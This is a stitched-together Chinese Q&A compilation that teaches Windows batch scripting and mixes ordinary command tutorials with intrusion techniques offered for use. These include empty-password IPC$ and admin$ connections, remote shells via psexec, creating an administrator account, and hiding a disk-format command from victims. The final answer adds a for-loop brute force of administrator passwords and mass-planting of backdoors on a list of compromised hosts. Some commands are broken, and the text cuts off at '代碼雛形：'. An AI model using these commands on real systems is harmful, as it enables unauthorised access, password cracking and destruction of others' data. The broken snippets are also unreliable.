⑴ 什麼是腳本語言和編程語言的區別
腳本語言泛指單用作簡單編程任務如shell scripts。腳本語言是一種介乎於 HTML 和諸如 JAVA 、 Visual Basic 、 C++ 等編程語言之間的一種特殊的語言，盡管它更接近後者，但它卻不具有編程語言復雜、嚴謹的語法和規則。 系統語言與腳本語言之間的區別有很多，但主要的區別是： 抽象的級別：這是最重要也是最明顯示的不同。腳本語言對程序員提供了更高級的抽象。這一點明顯表現在：在這種語言自身中，存在有高級的數據結構，如列表和字典結構，和對這種結構簡單方便的嵌套和操作。這樣可以創建非常成功的程序。 類型定義：系統語言通常是強類型和靜態類型定義。這就意味著所有變數的類型要在程序中指定，在編譯時檢查。相反地，腳本語言是最鬆散的類型定義，完全沒有類型聲明，並且在運行時進行動態類型檢查。 執行：系統語言的特點是編譯的。程序被編譯成可執行的二進制。另一方面，腳本語言的特點是解釋，也就是，指令被立即執行，不存在一個編譯的中間狀態。這就意味著腳本語言是互動式的(你可以在提示符下敲入命令，並且看到結果)，這是另一個巨大的勝利。這樣完全將編譯過程從編輯-編譯-運行循環中去掉了。 速度：以上三點是腳本語言一方面在速度與效率， 一方面在易用性與表示式的強大性之間進行折衷的典型例子。這就使得腳本語言的執行速度比系統語言慢一個數量級。這就是對腳本語言誹謗最多的方面。性能的降低不是真正的問題，因為思想是用腳本語言來組合組件，這些組件是用象C 這樣的快速系統語言來編寫的。所以所有需要運行快速的東西將因為是用快速的語言實現的而運行得快速。腳本語言只用於將東西綁在一起，並且這些通常不是性能的瓶頸( 或如果是，你需要重新檢查你的設計)。
⑵ 求腳本（BAT）基本命令
1.「@echo off」--我們所寫的BAT一開始一般都有這一句，這一句的作用是：使所有的命令響應隱藏。「@」--本行命令不回顯。（本來如果你用echo off就可以了，但是還是能夠看到echo off這條命令在CMD下，影響美觀） 2.「color 1e」--設置默認的控制台前景和背景顏色。當前我設為藍底黃字，具體顏色請在CMD下用「color /?」查詢。 --這里又提到了這個參數「/?」，一般CMD下命令後加「/?」就會顯示這條命令的幫助。 3.「rem」--注釋作用，批處理執行過程中前不執行它，rem 後的字元只作注釋作用。
4.「title」--設置命令提示窗口的窗口標題。默認為「cmd」。改成自己喜歡的多有個性，嘿嘿。
5.「cls」--不多說，清屏命令。主要是怕前面的一些空白或字元出現影響美觀。
6.「set」--這個命令的作用很大，請用「set /?」查詢具體使用方法。本例「set topip=172.16.」是將一個名為「topip」的變數值設為「172.16.」。注意CMD下變數的設置不區別數字與字元，能夠自動根據提供的值調整。下行「set theip=0.0」同理。
7.「echo .」--在新行中顯示一個「.」。echo命令能顯示其後的comment。這里提幾個有趣實用的用法--「echo.」，注意與前面的不同，「echo」與「.」間無空格。這條命令如同一個回車，在新行不顯示任何信息並換行。「echo 」，實現響鈴的提示音。後面一個字元的輸入方法是在CMD下用「ctrl+G」，而這個字元得到的方法是CMD下用命令「echo "ctrl+G" >ex.txt」，存入ex.txt文件，再從那裡提取出來的。嘿嘿，如果你懶得做，就我在上面提供的字元嘍。
8.「if」--這條命令也會經常用到，請用「if /?」學習更多信息。本例「if not exist scanipc.exe (echo 文件錯誤！……) 」，實現功能：當同級目錄下不存在「scanipc.exe」時，提示「文件錯誤！……」。否則不提示。「if not exist filename 」在批處理中使用比較多些。
9.「:top」，設置一個標志點，標志名為「top」。「:」的作用就是設置標志。網上有文章說「使用"::comment"作為注釋比"rem comment"執行效率更高。」我相信，這里也建議大家，如果BAT中注釋較多時，請使用「::comment」設置。
10.「set /p pno=」--設置一個變數，並接受用戶輸入。BAT不需要預先聲明變數，只在需要時設置。參數「/p」：將變數數值設成用戶輸入的一行輸入。
11.「if %pno% gtr 9 gotoonerrorspno」--檢驗用戶輸入值是否大於9，是，則轉到一個指定標志點。這里注意BAT中變數引用時要在前後加「%」，但在if語句中可有可無，具體應用大家多寫幾遍就有體會。
12.「goto label」--無條件跳轉到指定標志位並向後執行。BAT好像只有這么一個跳轉語句了，作用不用我說，用了就知道。注意不要構成死循環。
小結：到此，完成了顏色設置、注釋版權說明、標題設置、變數初始化、歡迎信息、功能界面初始化、標志點設置（因為歡迎信息只顯示一次而功能界面要多次使用所以將標志點設置在歡迎信息的後面。）命令的接受與跳轉。；功能界面一般要用「tab」鍵調整相對位置，才能起到美觀的效果。請多練習幾遍領會。；大家在寫腳本過程中要注意標志點的設置位置，才能起到合適的效果。一般寫過幾個腳本會有些感受。；接著接受用戶輸入後「cls」清屏開始執行指定功能。注意這個cls的作用。因為清屏可以在此時，也可以在每個命令執行之前，但如果在每個命令執行之前用的請，那麼要寫的cls就多了，於是把cls寫在這里合適，方便節約快捷。
大家在寫腳本時也應當注意這方面的技巧，將使你寫出更加高效節約方便的代碼。在每次寫完腳本後合理地整合一下自己的代碼。能積累不少經驗。；另外，鑒於部分人仍不知道如何建立BAT文件與運行，請：打開記事本，寫入代碼，保存，保存類型為「所有文件*.*」，文件名為「name*.BAT」。保存後，雙擊運行。因為一般BAT運行很快，所以你可能只看到窗口一閃就消失了，那麼你可以在exit 之前加pause確保能看見運行結果。到此，你應該能夠寫一個很簡單的腳本了，實現一些界面控制。
例1： @echo off color ca title 這是我第一個BAT腳本。 echo 這是我第一個BAT腳本。不錯啊。 pause >nul exit 第二節：（提一些好用的命令）以下設置的都是功能段，在「goto step%pno%」跳轉到相應功能段後，開始執行相應功能。一般命令段： step1：ping命令。（在echo中變數的引用請注意前後加「%」號，否則會導致程序出錯。）我們常用的ping命令：其實很簡單，自己看幫助啦。本句「ping %topip%%theip% -n 1 |findstr 100%>nul」將ping 只發送一次數據包，這樣命令執行起來就快多了，但這樣所會引起一定概率的誤判，而我們在內網這種概率很低，低到可以忽略。所以本人使用參數「-n 1」減少執行時間。將結果不回顯而通過管道命令「|」送給findstr分析，findstr查找是否存在「100%」，並將回顯「丟棄」--「>nul」。因為如果ping一台主機如果返回的結果有「100%」存在說明「不在線。或者有防火牆阻擋。」。所以用findstr確定字元串「100%」的存在性，因為 findstr也有回顯，但我們並不需要，所以將它「丟棄」，使用參數「>nul」將指定命令回顯丟棄。（這一句命令是重點，請仔細領會。）又因為findstr確定指定字元串的存在性後會設定環境變數「errorlevel」的值，所以我們根據「if %errorlevel% equ 0 (command)」，判斷findstr的執行結果就行了，也就不需要有回顯。 「errorlevel」作用很大，一般命令行下的命令執行後都有一個特別的errorlevel，我們就可以根據相應的「返回值」作出相應判斷並執行相應功能。findstr如果找到指定字元串，則有errorlevel=0，說明：IP不在線。那麼既然不在線，我們就沒有向下執行的必要了，直接跳回top界面功能接受下一次指令。如果IP有不同回應，說明在線，則開始檢測共享。「net view \\%topip%%theip%\」--查看指定IP的共享清單。net詳細命令請自行查閱。列出共享清單後返回功能界面。 step2：打開共享一。「explorer \\%topip%%theip%\」，用資源管理器打開指定的IP根。注意語法，其它也沒有什麼。 step3：IPC$空連接。「net use \\%topip%%theip%\ipc$ "" /user:"administrator"」，一個很老的漏洞，但也許內網還有機子存在哩，嘿嘿，語法就是這樣。 step4：一般信息。「ipconfig /all」--用於得到本機的IP與MAC等信息，很好用的命令。語法如示。 「nbtstat -na %topip%%theip%」--用於得到他方機子的一些信息，語法如示。另請自查幫助。 step5：Scanipc。用命令行打開了一個程序而已。在命令行下執行其它命令也就是這樣啦。 step6：返回時間。「net time \\%topip%%theip%」--探測指定機子時間，語法如示。 step7：遠程連接。「net use \\%topip%%theip%\admin$ "" /user:"administrator"」，嘿嘿，administrator空密碼連接。最簡單的入侵啦，嘿嘿嘿。語法如示。 step8：本機信息。跳到另一個功能界面執行相應功能。 step9：高級命令。跳到另一個功能界面執行相應功能。 step0：退出程序。一個exit退出腳本。「exit」，退出CMD。 onerrorsip：實現錯誤提示，並重新執行step1。 onerrorspno：實現錯誤提示，並重新跳轉到功能界面。高級命令段：引用前面已給定的IP，並對其進行一些高級操作。重新繪制功能界面。首先，注意在一個BAT文件中，不允許出現有標志名的重復。 step11：條件連接。設定兩個變數，分別為用戶名與密碼。注意到有一個默認的功能。實現原理是，當接受到用戶輸入為空時（即一個回車），變數將保持不變。條件連接語法如示。比前面遠程空密碼連接更高級一點，嘿嘿。 step12：打開共享。打開已經連接成功的對方計算機的指定盤。打開指定盤語法如示。 step13：發送消息。向對方發送消息。要求雙方的messager服務開啟，否則無法發送成功。發送消息語法如示。 step14：遠程關機。設置關機時間與關機理由，用shutdown程序關閉對方計算機，嘿嘿，惡作劇。要求你連接成功，並有 shutdown程序支持。shutdown語法自查幫助。 step15：溢出CMD。嘿嘿，溢出到對方的CMD下，算是一個真正的入侵了。當然需要用戶名與密碼嘍。要求用戶名與密碼正確並對方默認支持遠程管理。並有psexec程序支持。psexec語法如示，並請自查幫助。 step16：結束進程。嘿嘿，不說也知道，結束對方已知進程。要求連接成功並有pskill程序支持。惡作劇類，有惡意成分。嘿嘿。小心使用。 step17：ipc$連接。同step3. step18：斷開連接。斷開與對方的連接，就是擦屁股啦，以免讓對方有所察覺。這個好習慣要養成。語法如示。 step19：一般命令。返回前面一個功能界面。 step20：結束程序。退出。 step110：AT命令，令對方在指定時間運行指定命令。有點像木馬，嘿嘿。要求連接成功。因為節約變數，所以引用了前面的暫不使用的變數。好習慣。哈哈。 step111：telnet。遠程telnet。不要說你一點都不知道，語法如示並請自查幫助。 step112：更改主IP。主要是為了使我們的使用方便，對某個特定IP段探測能夠簡化輸入。如主IP改成「172.16.130.」，那麼專門對130探測，而且輸入IP時只需輸入最後位，嘿嘿，多方便啊。 step113：任意命令。主要是接受用戶輸入並執行用戶的輸入罷了，結構如示。本機信息段：主要是對本機信息的一些查詢語法。 stepm1：ipconfig，不說了。但請注意到，在功能界面的實現上有一點，「&」符號，因為「&」符號在CMD下是命令連接符，如果光用「&」會讓BAT誤解為其後的都是命令。但我們只是希望輸出一個「&」罷了，於是用「^」符號連接符表明只是輸出「&」，而不是實現命令連接。這里提一下「&」命令連接符，例如：echo frist&echo second.同效於： echo frist echo second. 只是實現結合兩行命令在同一行實現。類如一個很簡單的批處理啦。再提一下「^」符號連接符，對一些特殊符號可能在CMD下無法正確如願顯示，可用「^」連接，以達到如期效果。用了「^」在文本中佔了一位空間，但在輸出時它並不顯示，所以注意界面的布置。 stepm2：本機進程。利用命令行下的進程工具查看進程。要求pslist程序支持。 stepm3：本機用戶。就是查詢一下本機用戶，也許會發現機了被動過的痕跡。 stepm4：結束進程。在命令行下結束本機進程。要求有pskill程序支持。 stepm5：本機埠。也許能看出被攻擊或被入侵的痕跡。語法如示。 stepm6：共享情況。看看本機的共享是否真的如你所想，如你所見。否則請注意安全嘍。語法如示。 stepm7：啟動項值。在命令行下導出啟動項值並給出結果。比魔法兔子什麼的快多了，就是界面不是很好看，呵呵。語法如示。 stepm0：退出程序。退出。小結：到此，您學習過了一些有用的命令與應用。以及大部分的網路命令與外部程序的使用。接下來你可以模擬IP小工具寫出適合更自己的IP小工具哦。注意每執行完一項功能後要用goto返回功能界面，否則腳本無條件向下繼續執行。；errorlevel的應用。在BAT中，errorlevel的作用很大，大家在使用過程中通過多次接觸，感受一下如何玩轉errorlevel。在執行完一個程序後，可以用echo %errorlevel%查看程序運行後是如何設定errorlevel的值。；if的應用。在BAT中，if語句的作用也很大，特別與errorlevel結合實現自動判斷。以及一些基本條件判斷。請查看"if /?" 學習更詳細的說明。；變數的接受與傳遞。這方面的感覺需要大家多寫BAT才能有所感觸。如何合理與高效的應用變數，能使你的腳本更加漂亮。計算機語言都是實踐性很強的，我們學習理論只是基礎，通過大量的實踐才能真正掌握一門語言的應用。 第三節：（一些應用技巧與命令）接下來我們看我的「代理伺服器搜索組件 (ver 2.1)」， 1.「>」與「>>」的區別。 「>」--把指定數據傳送到指定文件或區域。有覆蓋作用，從文件頭開始重寫文件。如指定文件不存在，則新建文件並存入指定數據。 「>>」--以追加方式將指定數據傳送到指定文件或區域。從文件結尾開始寫入指定內容。這兩個功能有區別，請注意選擇合適的傳送方式傳送數據。例如：「echo 文本內容。>link.txt」與「echo 文本內容。>>link.txt」。若本不存在文件link.txt或文件link.txt內容為空，那麼兩條命令的運行結果相同。但如果link.txt不為空，那麼第一條命令將清除link.txt所有內容並存入數據「文本內容。 」保存。而第二條命令只在link.txt的文件尾（另起一行，注意每一個「>>」都會另起一行寫入新數據）追加數據「文本內容。」而以前的內容保持不變。還要特別提一個前面說過的「丟棄」用法「>nul」，因為我們有時候只需要命令的運行而並不需要看到命令的運行結果以及回顯，但這些命令又會出現我們並不需要看到的回顯，影響美觀。故在其後追加「>nul」，丟棄回顯。 2.循環語句的說明。例2： :puship set /p tip= if %tip%==%tbip% goto step1 set tbip=%tip% echo %tip% >>link.txt goto puship 本例中「if %tip%==%tbip% goto step1」與「if %tip% equ %tbip% goto step1」效果一樣。本例的作用是接受用戶帖入數據。關鍵技術在於：因為用戶帖入數據我們不能使用戶每次輸入都詢問是否結束，而需要實現「 智能化」的判斷，但如何以最少的代碼、最簡單的方法實現所謂的「智能化」呢。分析用戶輸入情況：因為一般用戶帖入數據都不會出現重復，所以我們利用這個特點，分析用戶的數據，當用戶帖入列表時，分析數據並將數據存入相應文本，以備後用。當用戶粘帖文本結束後，再加一個回車，因為最後一次變數沒有接受到任何修改，於是保持默認不變（也就是之前的數據。），再通過我們之前的數據備份對照，分析是否不變，是，則跳出循環。這樣，我們通過兩個變數以一個IF比較實現相對簡單的「智能化」。嘿嘿，這一點代碼想了我一個小時。這么說不知道大家是否能理解。請仔細參透例2的技術要點。 3.「FOR /F "eol=; tokens=1 delims=: " %%i in (link.txt) do (set /a Allip=Allip+1>nul)」 這句FOR語句是復雜的雜合語句。首先請用for /?查閱詳細用法，這里不再復述。但是特別要提一點的就是批處理與直接命令行下的CMD的區別在FOR語句上。批處理時，變數引用需要有兩個「%」號，否則無法正確執行，而CMD下不用，只需一個「%」。 「set /a Allip=Allip+1>nul」--實現算術運算，變數Allip的自增，注意大小寫。把回顯「丟棄」。本例實現對文件link.txt內容計數，忽略以「;」開頭的行。這就是為什麼我們在前面要用「echo ;:文本>link.txt」來創建文本的意義所在。 4.「call toping %%i」--從批處理程序調用另一個批處理程序。調用另一個批處理「toping.bat」（因為BAT可以直接運行所以不需要後綴BAT），並有參數傳遞。參數來自於FOR語句的提取。「FOR /F "eol=; tokens=1 delims=: " %%i in (link.txt) 」--從link.txt的每行中提取文本，從每行的開頭第一個字元開始（tokens=1），以「：」界定提取結尾（delims=: ）。把提取結果賦給變數i。 5.「type」--在命令行下顯示指定文件的內容。相信大家應該很熟悉，不多說了。注意與「>或>>」的結合使用，或與其它操作符的結合使用。 6.「%1」--在CMD下，一個BAT能夠接受同時9位的參數，「%1~%9」，分別對應給定的參數變數。「%0」，即是文件本身。我們在使用BAT的過程中會經常遇到兩個或兩個以上腳本間需要參數傳遞。那麼請好好掌握這個用法，多說無益，需要大家在實踐中積累經驗。 7.再說一些比較邊緣，但大家比較興趣的命令。呵呵，不要做壞事。 net user admin 123 /add net localgroup administrators admin /add net localgroup users admin /del net user admin /active:yes net user net user admin net user admin /del 「net user admin 123 /add」--添加名為「admin」，密碼為「123」的用戶，如果「123」不寫，則默認密碼為空。 「net localgroup administrators admin /add」--將用戶「admin」加入「administrators」組，嘿嘿，高許可權。 「net localgroup users admin /del」--將「admin」從「users」組刪除。呵呵，因為用戶新加進去時都是「users」組，許可權比較低，所以要從這個組跳出來，保證administrators組的許可權正式發揮作用，如果不這么做，對方系統會默認你的最低許可權。 「net user admin /active:yes」--怕沒法使用沒有啟動，不要緊，激活這個帳號，嘿嘿。 「net user」--看看用戶有多少哦。 「net user admin」--看看剛剛加的用戶信息如何，是否如我所想，如我所願呢。 「net user admin /del」--刪除用戶admin。 -------------------------------------------------------------------------------------------------------------------
⑶ 批處理命令大全
help 查看
reg /? 查看
net /? 查看
ftp /? 查看
mt /? 查看
還有些外部命令工具，例如fport，choice等
附help查看的內容（屬dos內部命令）
ASSOC 顯示或修改文件擴展名關聯。
AT 計劃在計算機上運行的命令和程序。
ATTRIB 顯示或更改文件屬性。
BREAK 設置或清除擴展式 CTRL+C 檢查。
CACLS 顯示或修改文件的訪問控制列表(ACLs)。
CALL 從另一個批處理程序調用這一個。
CD 顯示當前目錄的名稱或將其更改。
CHCP 顯示或設置活動代碼頁數。
CHDIR 顯示當前目錄的名稱或將其更改。
CHKDSK 檢查磁碟並顯示狀態報告。
CHKNTFS 顯示或修改啟動時間磁碟檢查。
CLS 清除屏幕。
CMD 打開另一個 Windows 命令解釋程序窗口。
COLOR 設置默認控制台前景和背景顏色。
COMP 比較兩個或兩套文件的內容。
COMPACT 顯示或更改 NTFS 分區上文件的壓縮。
CONVERT 將 FAT 卷轉換成 NTFS。您不能轉換
當前驅動器。
COPY 將至少一個文件復制到另一個位置。
DATE 顯示或設置日期。
DEL 刪除至少一個文件。
DIR 顯示一個目錄中的文件和子目錄。
DISKCOMP 比較兩個軟盤的內容。
DISKCOPY 將一個軟盤的內容復制到另一個軟盤。
DOSKEY 編輯命令行、調用 Windows 命令並創建宏。
ECHO 顯示消息，或將命令回顯打開或關上。
ENDLOCAL 結束批文件中環境更改的本地化。
ERASE 刪除至少一個文件。
EXIT 退出 CMD.EXE 程序(命令解釋程序)。
FC 比較兩個或兩套文件，並顯示
不同處。
FIND 在文件中搜索文字字元串。
FINDSTR 在文件中搜索字元串。
FOR 為一套文件中的每個文件運行一個指定的命令。
FORMAT 格式化磁碟，以便跟 Windows 使用。
FTYPE 顯示或修改用於文件擴展名關聯的文件類型。
GOTO 將 Windows 命令解釋程序指向批處理程序
中某個標明的行。
GRAFTABL 啟用 Windows 來以圖像模式顯示
擴展字元集。
HELP 提供 Windows 命令的幫助信息。
IF 執行批處理程序中的條件性處理。
LABEL 創建、更改或刪除磁碟的卷標。
MD 創建目錄。
MKDIR 創建目錄。
MODE 配置系統設備。
MORE 一次顯示一個結果屏幕。
MOVE 將文件從一個目錄移到另一個目錄。
PATH 顯示或設置可執行文件的搜索路徑。
PAUSE 暫停批文件的處理並顯示消息。
POPD 還原 PUSHD 保存的當前目錄的上一個值。
PRINT 列印文本文件。
PROMPT 更改 Windows 命令提示符。
PUSHD 保存當前目錄，然後對其進行更改。
RD 刪除目錄。
RECOVER 從有問題的磁碟恢復可讀信息。
REM 記錄批文件或 CONFIG.SYS 中的注釋。
REN 重命名文件。
RENAME 重命名文件。
REPLACE 替換文件。
RMDIR 刪除目錄。
SET 顯示、設置或刪除 Windows 環境變數。
SETLOCAL 開始批文件中環境更改的本地化。
SHIFT 更換批文件中可替換參數的位置。
SORT 對輸入進行分類。
START 啟動另一個窗口來運行指定的程序或命令。
SUBST 將路徑跟一個驅動器號關聯。
TIME 顯示或設置系統時間。
TITLE 設置 CMD.EXE 會話的窗口標題。
TREE 以圖形模式顯示驅動器或路徑的目錄結構。
TYPE 顯示文本文件的內容。
VER 顯示 Windows 版本。
VERIFY 告訴 Windows 是否驗證文件是否已正確
寫入磁碟。
VOL 顯示磁碟卷標和序列號。
XCOPY 復制文件和目錄樹。
⑷ 用批處理 命令怎麼寫
一般批處理都是先建立一個文本文件然後輸入 批處理命令然後另存為.bat文件就好了的。。
1.Echo 命令打開回顯或關閉請求回顯功能，或顯示消息。如果沒有任何參數，echo 命令將顯示當前回顯設置。語法echo [{on|off}] [message]Sample：echo off / echo hello world在實際應用中我們會把這條命令和重定向符號（也稱為管道符號，一般用> >> ^）結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。
2.@ 命令表示不顯示@後面的命令，在入侵過程中（例如使用批處理來格式化敵人的硬碟）自然不能讓對方看到你使用的命令啦。Sample：@echo off@echo Now initializing the program,please wait a minite...@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的，可喜的是微軟留了個autoset這個參數給我們，效果和/y是一樣的。)
3.Goto 命令指定跳轉到標簽，找到標簽後，程序將處理從下一行開始的命令。語法：goto label （label是參數，指定所要轉向的批處理程序中的行。） Sample：if {%1}=={} goto noparmsif {%2}=={} goto noparms（如果這里的if、%1、%2你不明白的話，先跳過去，後面會有詳細的解釋。）@Rem check parameters if null show usage:noparmsecho Usage: monitor.bat ServerIP PortNumbergoto end標簽的名字可以隨便起，但是最好是有意義的字母啦，字母前加個：用來表示這個字母是標簽，goto命令就是根據這個：來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。
4.Rem 命令注釋命令，在C語言中相當與/*--------*/,它並不會被執行，只是起一個注釋的作用，便於別人閱讀和你自己日後修改。Rem MessageSample：@Rem Here is the description.
5.Pause 命令運行 Pause 命令時，將顯示下面的消息： Press any key to continue . . . Sample：@echo off :begin a:*.* d：\backecho Please put a new disk into driver A pause goto begin 在這個例子中，驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁碟放入驅動器 A 時，pause 命令會使程序掛起，以便您更換磁碟，然後按任意鍵繼續處理。
6.Call 命令從一個批處理程序調用另一個批處理程序，並且不終止父批處理程序。call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call，它將不會在命令行起作用。語法call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]參數[Drive:}[Path] FileName 指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。
7.start 命令調用外部程序，所有的DOS命令和命令行程序都可以由start命令來調用。入侵常用參數：MIN 開始時窗口最小化SEPARATE 在分開的空間內開始 16 位 Windows 程序HIGH 在 HIGH 優先順序類別開始應用程序REALTIME 在 REALTIME 優先順序類別開始應用程序WAIT 啟動應用程序並等候它結束parameters 這些為傳送到命令/程序的參數執行的應用程序是 32-位 GUI 應用程序時，CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行，該新行為則不會發生。8.choice 命令choice 使用此命令可以讓用戶輸入一個字元，從而運行不同的命令。使用時應該加/c:參數，c:後應寫提示可輸入的字元，之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end將顯示defrag,mem,end[D,M,E]?Sample：Sample.bat的內容如下: @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag （應先判斷數值最高的錯誤碼）if errorlevel 2 goto mem if errotlevel 1 goto end
:defrag c:\dos\defrag goto end :mem mem goto end :end echo good bye
此文件運行後，將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ，然後if語句將作出判斷，d表示執行標號為defrag的程序段，m表示執行標號為mem的程序段，e表示執行標號為end的程序段，每個程序段最後都以goto end將程序跳到end標號處，然後程序將顯示good bye，文件結束。
9.If 命令
if 表示將判斷是否符合規定的條件，從而決定執行不同的命令。 有三種格式: 1、if "參數" == "字元串" 待執行的命令 參數如果等於指定的字元串，則條件成立，運行命令，否則運行下一句。(注意是兩個等號）如if "%1"=="a" format a: if {%1}=={} goto noparmsif {%2}=={} goto noparms
2、if exist 文件名 待執行的命令 如果有指定的文件，則條件成立，運行命令，否則運行下一句。如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 數字 待執行的命令 如果返回碼等於指定的數字，則條件成立，運行命令，否則運行下一句。如if errorlevel 2 goto x2 DOS程序運行時都會返回一個數字給DOS，稱為錯誤碼errorlevel或稱返回碼，常見的返回碼為0、1。
10.for 命令for 命令是一個比較復雜的命令，主要用於參數在指定的范圍內循環執行命令。在批處理文件中使用 FOR 命令時，指定變數請使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]%variable 指定一個單一字母可替換的參數。(set) 指定一個或一組文件。可以使用通配符。command 指定對每個文件執行的命令。command-parameters 為特定命令指定參數或命令行開關。在批處理文件中使用 FOR 命令時，指定變數請使用 %%variable而不要用 %variable。變數名稱是區分大小寫的，所以 %i 不同於 %I
如果命令擴展名被啟用，下列額外的 FOR 命令格式會受到支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符，則指定與目錄名匹配，而不與文件名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
檢查以 [drive:]path 為根的目錄樹，指向每個目錄中的FOR 語句。如果在 /R 後沒有指定目錄，則使用當前目錄。如果集僅為一個單點(.)字元，則枚舉該目錄樹。
FOR /L %variable IN (start,step,end) DO command [command-para
該集表示以增量形式從開始到結束的一個數字序列。因此，(1,1,5) 將產生序列 1 2 3 4 5，(5,-1,1) 將產生序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command
或者，如果有 usebackq 選項:
FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command
filenameset 為一個或多個文件名。繼續到 filenameset 中的下一個文件之前，每份文件都已被打開、讀取並經過處理。處理包括讀取文件，將其分成一行行的文字，然後將每行解析成零或更多的符號。然後用已找到的符號字元串變數值調用 For 循環。以默認方式，/F 通過每個文件的每一行中分開的第一個空白符號。跳過空白行。您可通過指定可選 "options"參數替代默認解析操作。這個帶引號的字元串包括一個或多個指定不同解析選項的關鍵字。這些關鍵字為:
eol=c - 指一個行注釋字元的結尾(就一個)skip=n - 指在文件開始時忽略的行數。delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代的 for 本身。這會導致額外變數名稱的格式為一個范圍。通過 nth 符號指定 m符號字元串中的最後一個字元星號，那麼額外的變數將在最後一個符號解析之分配並接受行的保留文本。usebackq - 指定新語法已在下類情況中使用:在作為命令執行一個後引號的字元串並且引號字元為文字字元串命令並允許在 fi中使用雙引號擴起文件名稱。
sample1:FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
會分析 myfile.txt 中的每一行，忽略以分號打頭的那些行，將每行中的第二個和第三個符號傳遞給 for 程序體；用逗號和/或空格定界符號。請注意，這個 for 程序體的語句引用 %i 來取得第二個符號，引用 %j 來取得第三個符號，引用 %k來取得第三個符號後的所有剩餘符號。對於帶有空格的文件名，您需要用雙引號將文件名括起來。為了用這種方式來使用雙引號，您還需要使用 usebackq 選項，否則，雙引號會被理解成是用作定義某個要分析的字元串的。
%i 專門在 for 語句中得到說明，%j 和 %k 是通過tokens= 選項專門得到說明的。您可以通過 tokens= 一行指定最多 26 個符號，只要不試圖說明一個高於字母 z 或Z 的變數。請記住，FOR 變數是單一字母、分大小寫和全局的；同時不能有 52 個以上都在使用中。
您還可以在相鄰字元串上使用 FOR /F 分析邏輯；方法是，用單引號將括弧之間的 filenameset 括起來。這樣，該字元串會被當作一個文件中的一個單一輸入行。
最後，您可以用 FOR /F 命令來分析命令的輸出。方法是，將括弧之間的 filenameset 變成一個反括字元串。該字元串會被當作命令行，傳遞到一個子 CMD.EXE，其輸出會被抓進內存，並被當作文件分析。因此，以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
會枚舉當前環境中的環境變數名稱。
另外，FOR 變數參照的替換已被增強。您現在可以使用下列選項語法:
~I - 刪除任何引號(")，擴充 %I%~fI - 將 %I 擴充到一個完全合格的路徑名%~dI - 僅將 %I 擴充到一個驅動器號%~pI - 僅將 %I 擴充到一個路徑%~nI - 僅將 %I 擴充到一個文件名%~xI - 僅將 %I 擴充到一個文件擴展名%~sI - 擴充的路徑只含有短名%~aI - 將 %I 擴充到文件的文件屬性%~tI - 將 %I 擴充到文件的日期/時間%~zI - 將 %I 擴充到文件的大小%~$PATH:I - 查找列在路徑環境變數的目錄，並將 %I 擴充到找到的第一個完全合格的名稱。如果環境變數未被定義，或者沒有找到文件，此組合鍵會擴充空字元串
可以組合修飾符來得到多重結果:
%~dpI - 僅將 %I 擴充到一個驅動器號和路徑%~nxI - 僅將 %I 擴充到一個文件名和擴展名%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名%~dp$PATH:i - 查找列在路徑環境變數的目錄，並將 %I 擴充到找到的第一個驅動器號和路徑。%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR
在以上例子中，%I 和 PATH 可用其他有效數值代替。%~ 語法用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名比較易讀，而且避免與不分大小寫的組合鍵混淆。
以上是MS的官方幫助，下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。
sample2：
利用For命令來實現對一台目標Win2k主機的暴力密碼破解。我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接，當成功時記下密碼。最主要的命令是一條：for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"用i%來表示admin的密碼，在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令－－for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ，這樣就ko了。
sample3：
你有沒有過手裡有大量肉雞等著你去種後門＋木馬呢？，當數量特別多的時候，原本很開心的一件事都會變得很郁悶：）。文章開頭就談到使用批處理文件，可以簡化日常或重復性任務。那麼如何實現呢？呵呵，看下去你就會明白了。
主要命令也只有一條：（在批處理文件中使用 FOR 命令時，指定變數使用 %%variable）@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%ktokens的用法請參見上面的sample1，在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。而cultivate.bat無非就是用net use命令來建立IPC$連接，並木馬＋後門到victim，然後用返回碼（If errorlever =）來篩選成功種植後門的主機，並echo出來，或者echo到指定的文件。delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列，一般就是 ip password username。代碼雛形：
